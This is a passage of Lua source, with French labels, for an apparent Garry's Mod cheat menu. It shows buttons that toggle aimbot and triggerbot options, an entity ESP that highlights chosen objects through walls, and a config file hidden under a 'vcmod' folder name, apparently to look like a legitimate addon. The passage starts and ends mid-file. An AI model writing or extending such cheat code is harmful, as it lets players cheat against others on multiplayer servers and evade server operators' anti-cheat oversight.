3968function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_aimbot_team:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_team", 0 ) else RunConsoleCommand( "fiji_aimbot_team", 1 ) end end
3969function btnaimbotact:Think() if fiji_aimbot_team:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3970
3971
3972
3973local btnaimbotact = BD:CreateBtn( "Activé", 165, 230, 65, 25, pContent )
3974function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_triggerbot_active:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_active", 0 ) else RunConsoleCommand( "fiji_triggerbot_active", 1 ) end end
3975function btnaimbotact:Think() if fiji_triggerbot_active:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3976
3977local btnaimbotact = BD:CreateBtn( "Debug", 235, 230, 65, 25, pContent )
3978function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_triggerbot_opti:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_opti", 0 ) else RunConsoleCommand( "fiji_triggerbot_opti", 1 ) end end
3979function btnaimbotact:Think() if fiji_triggerbot_opti:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3980
3981local btnaimbotact = BD:CreateBtn( "Réaliste", 305, 230, 65, 25, pContent )
3982function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_triggerbot_real:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_real", 0 ) else RunConsoleCommand( "fiji_triggerbot_real", 1 ) end end
3983function btnaimbotact:Think() if fiji_triggerbot_real:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3984
3985local btnaimbotact = BD:CreateBtn( "Amis", 235, 300, 65, 25, pContent )
3986function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_triggerbot_friends:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_friends", 0 ) else RunConsoleCommand( "fiji_triggerbot_friends", 1 ) end end
3987function btnaimbotact:Think() if fiji_triggerbot_friends:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3988
3989local btnaimbotact = BD:CreateBtn( "Admin", 165, 300, 65, 25, pContent )
3990function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_triggerbot_wall:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_wall", 0 ) else RunConsoleCommand( "fiji_triggerbot_wall", 1 ) end end
3991function btnaimbotact:Think() if fiji_triggerbot_wall:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3992
3993local btnaimbotact = BD:CreateBtn( "Team", 305, 300, 65, 25, pContent )
3994function btnaimbotact:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_triggerbot_team:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_team", 0 ) else RunConsoleCommand( "fiji_triggerbot_team", 1 ) end end
3995function btnaimbotact:Think() if fiji_triggerbot_team:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
3996
3997
3998end -- end aim
3999
4000
4001local save_dir = "vcmod/enthudset.txt"
4002
4003if not file.IsDir( "vcmod" , "DATA" ) then
4004 file.CreateDir( "vcmod", "[]" )
4005end
4006if not file.Exists( save_dir , "DATA" ) then
4007 file.Write( save_dir, "[]" )
4008end
4009
4010local function AddToESP( class, color )
4011 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4012 actual[class] = color
4013 file.Write( save_dir, util.TableToJSON( actual ) )
4014end
4015
4016local function RemoveFromESP( class )
4017 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4018 actual[class] = nil
4019 file.Write( save_dir, util.TableToJSON( actual ) )
4020end
4021
4022local function GetESP()
4023 return util.JSONToTable( file.Read( save_dir, "DATA" ) )
4024end
4025
4026local tblColors = {
4027 {
4028 color = Color( 255, 0, 0 )
4029 },
4030 {
4031 color = Color( 255, 102, 0 )
4032 },
4033 {
4034 color = Color( 196, 192, 0 )
4035 },
4036 {
4037 color = Color( 0, 255, 0 )
4038 },
4039 {
4040 color = Color( 0, 0, 255 )
4041 },
4042 {
4043 color = Color( 0, 229, 255 )
4044 },
4045 {
4046 color = Color( 89, 0, 255 )
4047 },
4048 {
4049 color = Color( 255, 0, 250 )
4050 },
4051 {
4052 color = Color( 255, 255, 255 )
4053 },
4054 {
4055 color = Color( 0, 0, 0 )
4056 },
4057}
4058
4059local function reOpenMenu( pnl )
4060 pnl:Remove()
4061 LocalPlayer():ConCommand( "fiji_espent" )
4062end
4063
4064hook.Add( "HUDPaint", "ESPAdvanced:espenttext", function()
4065if fiji_vision_enable_ent:GetInt() == 1 then
4066 if fiji_vision_enable_enttext:GetInt() == 1 then
4067 for Ik, Iv in pairs( GetESP() ) do
4068 for k, v in pairs( ents.FindByClass( Ik ) ) do
4069if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_ent:GetInt() then continue end
4070 local Pos = ( v:GetPos() ):ToScreen()
4071 draw.SimpleText( Ik, "Trebuchet18", Pos.x, Pos.y, Iv.color, 1, 1 )
4072 end
4073 end
4074 else end
4075 else end
4076end)
4077
4078
4079hook.Add( "PreDrawHalos", "ESPAdvanced:espenthalo", function()
4080 if fiji_vision_enable_ent:GetInt() == 1 then
4081 if fiji_vision_enable_enthalo:GetInt() == 1 then
4082 for k, v in pairs( GetESP() ) do
4083 halo.Add( ents.FindByClass( k ), v.color, 5, 5, 2, true, true )
4084 end
4085 else end
4086 else end
4087end )
4088
4089local blackListESP = {
4090 ["func_brush"] = true,
4091 ["worldspawn"] = true,
4092 ["viewmodel"] = true,
4093 ["widget_base"] = true,
4094 ["widget_bone"] = true,
4095 ["widget_bones"] = true,
4096 ["widget_disc"] = true,
4097 ["edit_sky"] = true,
4098 ["edit_fog"] = true,
4099 ["edit_sun"] = true,
4100 ["gmod_balloon"] = true,
4101 ["gmod_ghost"] = true,
4102 ["widget_axis_arrow"] = true,
4103 ["gmod_light"] = true,
4104 ["gmod_thruster"] = true,
4105 ["base_ai"] = true,
4106 ["base_nextbot"] = true,
4107 ["base_anim"] = true,
4108 ["gmod_dynamite"] = true,
4109 ["prop_effect"] = true,
4110 ["gmod_emitter"] = true,
4111 ["lab_base"] = true,
4112 ["gmod_hands"] = true,
4113 ["ragdoll_motion"] = true,
4114 ["widget_bonemanip_move"] = true,
4115 ["gmod_button"] = true,
4116 ["gmod_cameraprop"] = true,
4117 ["gmod_hoverball"] = true,
4118 ["fadmin_jail"] = true,
4119 ["widget_arrow"] = true,
4120 ["base_point"] = true,
4121 ["widget_axis_disc"] = true,
4122 ["widget_bonemanip_rotate"] = true,
4123 ["widget_bonemanip_scale"] = true,
4124 ["fadmin_motd"] = true,
4125 ["env_skypaint"] = true,
4126 ["base_edit"] = true,
4127 ["base_entity"] = true,
4128 ["gmod_anchor"] = true,
4129 ["gmod_wheel"] = true,
4130 ["gmod_lamp"] = true,
4131 ["sent_ball"] = true,
4132 ["base_gmodentity"] = true,
4133 ["npc_tf2_ghost"] = true,
4134 ["class C_PlayerResource"] = true,
4135 ["class C_GMODGameRulesPro"] = true,
4136}
4137
4138concommand.Add( "fiji_espent", function()
4139 local Base = vgui.Create( "DFrame" )
4140 Base:SetSize( 700, 245 )
4141 Base:SetTitle( "" )
4142 Base:Center()
4143 Base:MakePopup()
4144 Base:ShowCloseButton(false)
4145function Base:Paint( w, h )
4146DrawBlur(self, 25)
4147draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,240 ) )
4148
4149if fiji_style_menu:GetInt() == 2 then
4150draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
4151draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4152draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4153draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4154elseif fiji_style_menu:GetInt() == 1 then
4155draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4156draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4157draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4158draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4159else
4160draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4161draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4162draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4163draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4164end
4165end
4166
4167local CloseMain = vgui.Create( "DButton", Base)
4168CloseMain:SetPos( 673, 7)
4169CloseMain:SetSize( 20, 20 )
4170CloseMain:SetTextColor( Color( 255, 255, 255, 255 ) )
4171CloseMain:SetText( "X" )
4172CloseMain.Paint = function( self, w, h )
4173draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4174if self:IsHovered() then
4175draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
4176else
4177draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
4178end
4179CloseMain.DoClick = function()
4180Base:Remove()
4181end
4182end
4183
4184concommand.Add( "fiji_clearespent", function() -- fiji_sv_existmen
4185Base:Remove()
4186
4187end)
4188
4189
4190local CopiediscordHome = vgui.Create( "DButton", Base)
4191CopiediscordHome:SetPos( 10, 200)
4192CopiediscordHome:SetSize( 80, 35 )
4193CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
4194CopiediscordHome:SetText( "Sauvegarder" )
4195CopiediscordHome.Paint = function( self, w, h )
4196draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4197if self:IsHovered() then
4198draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
4199aBorder = Color( 110,110,110, 80 )
4200else
4201draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4202aBorder = Color( 110,110,110, 0 )
4203endder = Color( 110,110,110, 0 )
4204end
4205CopiediscordHome.OnCursorEntered = function(self)
4206surface.PlaySound( fiji_evilhover )
4207end
4208surface.SetDrawColor( aBorder )
4209surface.DrawOutlinedRect( 0, 0, w, h )
4210CopiediscordHome.DoClick = function()
4211LocalPlayer():ConCommand("fiji_clearespent")
4212surface.PlaySound( fiji_evilclick )
4213chat.AddText(Color(0, 0, 0), "[", "evil", "] ", Color( 89, 255, 105 ), "Entitées sauvegarder" )
4214end
4215end
4216
4217 --[[-------------------------------------------------------------------------
4218 Added
4219 ---------------------------------------------------------------------------]]
4220
4221 local added = vgui.Create( "DPanel", Base )
4222 added:SetSize( 200, 200 )
4223 added:SetPos( 255, 35 )
4224 function added:Paint( intW, intH )
4225 surface.SetDrawColor(75, 75, 75, 50 )
4226 surface.DrawRect( 0, 0, intW, 25 )
4227
4228 draw.SimpleText( "Entités ajoutées", "Trebuchet18", intW / 2, 25 / 2, color_white, 1, 1 )
4229 end
4230
4231 local aScroll = vgui.Create( "DScrollPanel", added )
4232 aScroll:SetSize( added:GetWide(), added:GetTall() - 25 )
4233 aScroll:SetPos( 0, 25 )
4234 aScroll.VBar:SetHideButtons( true )
4235 local scroll = aScroll.VBar
4236 function scroll:Paint( intW, intH )
4237 surface.SetDrawColor( 75, 75, 75, 80)
4238 surface.DrawRect( 0, 0, intW, intH )
4239 end
4240 function scroll.btnGrip:Paint( intW, intH )
4241 surface.SetDrawColor( 255, 255, 255, 10 )
4242 surface.DrawRect( 0, 0, intW, intH )
4243 end
4244
4245 local function makeList()
4246 aScroll:Clear()
4247
4248 local esp = GetESP()
4249
4250 local intItem = 0
4251
4252 for k, v in pairs( esp ) do
4253 local item = vgui.Create( "DPanel", aScroll )
4254 item:SetSize( aScroll:GetWide(), 25 )
4255 item:SetPos( 0, intItem * 25 )
4256 function item:Paint( intW, intH )
4257 surface.SetDrawColor( 75, 75, 75, 50 )
4258 surface.DrawRect( 0, 0, intW, intH )
4259
4260 draw.SimpleText( k, "Trebuchet18", 30, intH / 2, v.color, 0, 1 )
4261 end
4262
4263 local remove = vgui.Create( "DImageButton", item )
4264 remove:SetSize( 10, 10 )
4265 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2+3 )
4266 remove:SetImage( "icon16/cross.png" )
4267 remove:SetTooltip( "Supprimer" )
4268 function remove:DoClick()
4269 RemoveFromESP( k )
4270 makeList()
4271 end
4272
4273 intItem = intItem + 1
4274 end
4275 end
4276 makeList()
4277
4278
4279 --[[-------------------------------------------------------------------------
4280 Add
4281 ---------------------------------------------------------------------------]]
4282
4283 local addPanel = vgui.Create( "DPanel", Base )
4284 addPanel:SetSize( 215, 55 )
4285 addPanel:SetPos( 10, 35 )
4286 addPanel:SetBackgroundColor( Color( 50, 50, 50 ) )
4287
4288 local class = vgui.Create( "DTextEntry", addPanel )
4289 class:SetSize( addPanel:GetWide() - 75, 30 )
4290 class:SetPlaceholderText( "Classe" )
4291
4292 local colors = vgui.Create( "DPanel", addPanel )
4293 colors:SetSize( addPanel:GetWide(), 25 )
4294 colors:SetPos( 0, 30 )
4295 function colors:Paint() end
4296
4297 local activeColor = 1
4298
4299 for i = 1, #tblColors do
4300 local color = vgui.Create( "DButton", colors )
4301 color:SetSize( 16, 16 )
4302 color:SetPos( 5 + ( ( i - 1 ) * 21 ), 5 )
4303 color:SetText("")
4304 function color:Paint( intW, intH )
4305 surface.SetDrawColor( tblColors[i].color )
4306 surface.DrawRect( 0, 0, intW, intH )
4307
4308 if activeColor == i then
4309 surface.SetDrawColor( color_white )
4310 surface.DrawOutlinedRect( 0, 0, intW, intH )
4311 surface.SetDrawColor( color_black )
4312 surface.DrawOutlinedRect( 1, 1, intW - 2, intH - 2 )
4313 end
4314 end
4315 function color:DoClick()
4316 activeColor = i
4317 end
4318 end
4319
4320 local add = vgui.Create( "DButton", addPanel )
4321 add:SetSize( addPanel:GetWide() - class:GetWide(), 30 )
4322 add:SetPos( class:GetWide(), 0 )
4323 add:SetText( "Ajouter" )
4324 function add:OnCursorEntered() self.IsHovered = true end
4325function add:OnCursorExited() self.IsHovered = false end
4326function add:Paint( w, h )
4327
4328if self.IsHovered then
4329draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 100 ) )
4330cBorder = Color( 110,110,110, 30 )
4331add:SetTextColor( Color( 255, 255, 255, 255 ) )
4332else
4333draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 50 ) )
4334cBorder = Color( 110,110,110, 0 )
4335add:SetTextColor( Color( 255, 255, 255, 150 ) )
4336end
4337
4338
4339surface.SetDrawColor( cBorder )
4340surface.DrawOutlinedRect( 0, 0, w, h )
4341end
4342 function add:DoClick()
4343 AddToESP( class:GetText() or "null", tblColors[activeColor] or color_whie )
4344 makeList()
4345 end
4346
4347 --[[-------------------------------------------------------------------------
4348 List srv
4349 ---------------------------------------------------------------------------]]
4350
4351 local srvPanelList = vgui.Create( "DPanel", Base )
4352 srvPanelList:SetSize( 200, 200 )
4353 srvPanelList:SetPos( Base:GetWide() - srvPanelList:GetWide() - 10, 35 )
4354 function srvPanelList:Paint( intW, intH )
4355 surface.SetDrawColor( 75, 75, 75, 50 )
4356 surface.DrawRect( 0, 0, intW, 25 )
4357
4358 draw.SimpleText( "Entités du serveur", "Trebuchet18", intW / 2, 25 / 2, color_white, 1, 1 )
4359 end
4360
4361 local srvScroll = vgui.Create( "DScrollPanel", srvPanelList )
4362 srvScroll:SetSize( srvPanelList:GetWide(), srvPanelList:GetTall() - 50 )
4363 srvScroll:SetPos( 0, 50 )
4364 srvScroll.VBar:SetHideButtons( true )
4365 local scroll = srvScroll.VBar
4366 function scroll:Paint( intW, intH )
4367 surface.SetDrawColor( 75, 75, 75, 80)
4368
4369 surface.DrawRect( 0, 0, intW, intH )
4370 end
4371 function scroll.btnGrip:Paint( intW, intH )
4372
4373 surface.SetDrawColor( 255, 255, 255, 10 )
4374 surface.DrawRect( 0, 0, intW, intH )
4375 end
4376
4377 local srvList = vgui.Create( "DIconLayout", srvScroll )
4378 srvList:SetSize( srvScroll:GetWide(), srvScroll:GetTall() )
4379
4380 local srv = scripted_ents.GetList()
4381 table.sort( srv, function( a, b ) return a.t.ClassName > b.t.ClassName end )
4382 local getEsp = GetESP()
4383
4384 local intItem = 0
4385
4386 local tblUsed = {}
4387 local tblESp = GetESP()
4388
4389 for k, v in pairs( srv ) do
4390 if tblESp[ v.t.ClassName ] != nil then continue end
4391 if blackListESP[v.t.ClassName] then continue end
4392
4393 if tblUsed[v.t.ClassName] then continue end
4394 tblUsed[v.t.ClassName] = true
4395
4396 local item = srvList:Add( "DPanel" )
4397 item:SetSize( srvScroll:GetWide(), 25 )
4398 item:SetPos( 0, intItem * 25 )
4399 item.class = v.t.ClassName
4400 function item:Paint( intW, intH )
4401 surface.SetDrawColor( 75, 75, 75, 50 )
4402 surface.DrawRect( 0, 0, intW, intH )
4403
4404 draw.SimpleText( v.t.ClassName, "Trebuchet18", 30, intH / 2, color_white, 0, 1 )
4405 end
4406
4407 local remove = vgui.Create( "DImageButton", item )
4408 remove:SetSize( 13, 13 )
4409 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2 +2)
4410 remove:SetImage( "icon16/add.png" )
4411 remove:SetTooltip( "Ajouter" )
4412 function remove:DoClick()
4413 class:SetText( v.t.ClassName )
4414 makeList()
4415 end
4416
4417 intItem = intItem + 1
4418 end
4419
4420 local search = vgui.Create( "DTextEntry", srvPanelList )
4421 search:SetSize( srvPanelList:GetWide(), 25 )
4422 search:SetPos( 0, 25 )
4423 function search:OnChange()
4424 for k, v in pairs( srvList:GetChildren() ) do
4425 print( v.class )
4426 if string.find( v.class, self:GetText() ) then
4427 v:SetVisible( true )
4428 else
4429 v:SetVisible( false )
4430 end
4431 srvList:Layout()
4432 end
4433 end
4434
4435end)
4436
4437function BD:Esp( pContent )
4438
4439local BDMenuEsp = vgui.Create("DPanel", pContent)
4440BDMenuEsp:SetSize( 539, 388 )
4441BDMenuEsp:SetPos( 0, 0 )
4442BDMenuEsp.Paint = function( self, w, h)
4443draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
4444
4445if fiji_style_menu:GetInt() == 2 then
4446draw.RoundedBox( 0, 0, 146, 2, h - 120, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4447draw.RoundedBox( 0, 0, 0, 2, h - 286, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4448
4449elseif fiji_style_menu:GetInt() == 1 then
4450draw.RoundedBox( 0, 0, 146, 2, h - 120, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4451draw.RoundedBox( 0, 0, 0, 2, h - 286, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4452
4453else
4454draw.RoundedBox( 0, 0, 146, 2, h - 120, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4455draw.RoundedBox( 0, 0, 0, 2, h - 286, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4456end
4457
4458
4459draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4460draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4461draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4462draw.RoundedBox( 0, 20, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4463draw.RoundedBox( 0, 175, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4464draw.SimpleText("Esp players", "evil_home3", 100, 10, Color(100, 100, 100,255), 0, 1)
4465
4466draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4467draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4468draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
4469draw.RoundedBox( 0, 284, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4470draw.RoundedBox( 0, 440, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4471draw.SimpleText("Esp entities", "evil_home3", 365, 10, Color(100, 100, 100,255), 0, 1)
4472
4473draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
4474draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
4475draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4476draw.RoundedBox( 0, 284, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4477draw.RoundedBox( 0, 433, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4478draw.SimpleText("Esp Props", "evil_home3", 372.5, 205, Color(100, 100, 100,255), 0, 1)
4479end
4480local intW = 125
4481local intY = pContent:GetTall() / 2 - intW / 2
4482
4483
4484local pPcolor = vgui.Create( "DPanel", pContent )
4485pPcolor:SetSize( 205, 50 )
4486pPcolor:SetPos( 33, 243 )
4487function pPcolor:Paint( w, h )
4488draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4489draw.SimpleText( "Color ESP", "evil_home5", 72, 8, color_white, 0, 1 )
4490end
4491local OptionsColorRed = vgui.Create( "DButton", pPcolor )
4492OptionsColorRed:SetPos( 4,20 )
4493OptionsColorRed:SetSize( 20, 20 )
4494OptionsColorRed:SetText( " " )
4495OptionsColorRed.Paint = function( self, w, h )
4496if self:IsHovered() then
4497draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4498surface.SetDrawColor(255, 255, 255 ,100)
4499surface.DrawOutlinedRect(0, 0, w, h)
4500else
4501draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4502surface.SetDrawColor(255, 255, 255 ,100)
4503surface.DrawOutlinedRect(0, 0, w, h)
4504end
4505OptionsColorRed.DoClick = function()
4506LocalPlayer():ConCommand("fiji_principal_color 255")
4507LocalPlayer():ConCommand("fiji_secondary_color 0")
4508LocalPlayer():ConCommand("fiji_third_color 0")
4509surface.PlaySound( fiji_evilhover )
4510
4511end
4512end
4513local OptionsColorOrange = vgui.Create( "DButton", pPcolor )
4514OptionsColorOrange:SetPos( 26,20 )
4515OptionsColorOrange:SetSize( 20, 20 )
4516OptionsColorOrange:SetText( " " )
4517OptionsColorOrange.Paint = function( self, w, h )
4518if self:IsHovered() then
4519draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4520surface.SetDrawColor(255, 255, 255 ,100)
4521surface.DrawOutlinedRect(0, 0, w, h)
4522else
4523draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4524surface.SetDrawColor(255, 255, 255 ,100)
4525surface.DrawOutlinedRect(0, 0, w, h)
4526end
4527OptionsColorOrange.DoClick = function()
4528LocalPlayer():ConCommand("fiji_principal_color 255")
4529LocalPlayer():ConCommand("fiji_secondary_color 102")
4530LocalPlayer():ConCommand("fiji_third_color 0")
4531surface.PlaySound( fiji_evilhover )
4532
4533end
4534end
4535local OptionsColorYellow = vgui.Create( "DButton", pPcolor )
4536OptionsColorYellow:SetPos( 48,20 )
4537OptionsColorYellow:SetSize( 20, 20 )
4538OptionsColorYellow:SetText( " " )
4539OptionsColorYellow.Paint = function( self, w, h )
4540if self:IsHovered() then
4541draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4542surface.SetDrawColor(255, 255, 255 ,100)
4543surface.DrawOutlinedRect(0, 0, w, h)
4544else
4545draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4546surface.SetDrawColor(255, 255, 255 ,100)
4547surface.DrawOutlinedRect(0, 0, w, h)
4548end
4549OptionsColorYellow.DoClick = function()
4550LocalPlayer():ConCommand("fiji_principal_color 196")
4551LocalPlayer():ConCommand("fiji_secondary_color 192")
4552LocalPlayer():ConCommand("fiji_third_color 0")
4553surface.PlaySound( fiji_evilhover )
4554
4555end
4556end
4557local OptionsColorGreen = vgui.Create( "DButton", pPcolor )
4558OptionsColorGreen:SetPos( 70,20 )
4559OptionsColorGreen:SetSize( 20, 20 )
4560OptionsColorGreen:SetText( " " )
4561OptionsColorGreen.Paint = function( self, w, h )
4562if self:IsHovered() then
4563draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
4564surface.SetDrawColor(255, 255, 255 ,100)
4565surface.DrawOutlinedRect(0, 0, w, h)
4566else
4567draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4568surface.SetDrawColor(255, 255, 255 ,100)
4569surface.DrawOutlinedRect(0, 0, w, h)
4570end
4571OptionsColorGreen.DoClick = function()
4572LocalPlayer():ConCommand("fiji_principal_color 0")
4573LocalPlayer():ConCommand("fiji_secondary_color 255")
4574LocalPlayer():ConCommand("fiji_third_color 0")
4575surface.PlaySound( fiji_evilhover )
4576
4577end
4578end
4579local OptionsColorBlue = vgui.Create( "DButton", pPcolor )
4580OptionsColorBlue:SetPos( 92,20 )
4581OptionsColorBlue:SetSize( 20, 20 )
4582OptionsColorBlue:SetText( " " )
4583OptionsColorBlue.Paint = function( self, w, h )
4584if self:IsHovered() then
4585draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
4586surface.SetDrawColor(255, 255, 255 ,100)
4587surface.DrawOutlinedRect(0, 0, w, h)
4588else
4589draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
4590surface.SetDrawColor(255, 255, 255 ,100)
4591surface.DrawOutlinedRect(0, 0, w, h)
4592end
4593OptionsColorBlue.DoClick = function()
4594LocalPlayer():ConCommand("fiji_principal_color 0")
4595LocalPlayer():ConCommand("fiji_secondary_color 0")
4596LocalPlayer():ConCommand("fiji_third_color 255")
4597surface.PlaySound( fiji_evilhover )
4598
4599end
4600end
4601local OptionsColorSeaBlue = vgui.Create( "DButton", pPcolor )
4602OptionsColorSeaBlue:SetPos( 114,20 )
4603OptionsColorSeaBlue:SetSize( 20, 20 )
4604OptionsColorSeaBlue:SetText( " " )
4605OptionsColorSeaBlue.Paint = function( self, w, h )
4606if self:IsHovered() then
4607draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
4608surface.SetDrawColor(255, 255, 255 ,100)
4609surface.DrawOutlinedRect(0, 0, w, h)
4610else
4611draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
4612surface.SetDrawColor(255, 255, 255 ,100)
4613surface.DrawOutlinedRect(0, 0, w, h)
4614end
4615OptionsColorSeaBlue.DoClick = function()
4616LocalPlayer():ConCommand("fiji_principal_color 0")
4617LocalPlayer():ConCommand("fiji_secondary_color 229")
4618LocalPlayer():ConCommand("fiji_third_color 255")
4619surface.PlaySound( fiji_evilhover )
4620
4621end
4622end
4623local OptionsColorPurple = vgui.Create( "DButton", pPcolor )
4624OptionsColorPurple:SetPos( 136,20 )
4625OptionsColorPurple:SetSize( 20, 20 )
4626OptionsColorPurple:SetText( " " )
4627OptionsColorPurple.Paint = function( self, w, h )
4628if self:IsHovered() then
4629draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
4630surface.SetDrawColor(255, 255, 255 ,100)
4631surface.DrawOutlinedRect(0, 0, w, h)
4632else
4633draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
4634surface.SetDrawColor(255, 255, 255 ,100)
4635surface.DrawOutlinedRect(0, 0, w, h)
4636end
4637OptionsColorPurple.DoClick = function()
4638LocalPlayer():ConCommand("fiji_principal_color 89")
4639LocalPlayer():ConCommand("fiji_secondary_color 0")
4640LocalPlayer():ConCommand("fiji_third_color 255")
4641surface.PlaySound( fiji_evilhover )
4642
4643end
4644end
4645local OptionsColorPink = vgui.Create( "DButton", pPcolor )
4646OptionsColorPink:SetPos( 158,20 )
4647OptionsColorPink:SetSize( 20, 20 )
4648OptionsColorPink:SetText( " " )
4649OptionsColorPink.Paint = function( self, w, h )
4650if self:IsHovered() then
4651draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
4652surface.SetDrawColor(255, 255, 255 ,100)
4653surface.DrawOutlinedRect(0, 0, w, h)
4654else
4655draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
4656surface.SetDrawColor(255, 255, 255 ,100)
4657surface.DrawOutlinedRect(0, 0, w, h)
4658end
4659OptionsColorPink.DoClick = function()
4660LocalPlayer():ConCommand("fiji_principal_color 255")
4661LocalPlayer():ConCommand("fiji_secondary_color 0")
4662LocalPlayer():ConCommand("fiji_third_color 250")
4663surface.PlaySound( fiji_evilhover )
4664
4665end
4666end
4667local OptionsColorWhite = vgui.Create( "DButton", pPcolor )
4668OptionsColorWhite:SetPos( 180,20 )
4669OptionsColorWhite:SetSize( 20, 20 )
4670OptionsColorWhite:SetText( " " )
4671OptionsColorWhite.Paint = function( self, w, h )
4672if self:IsHovered() then
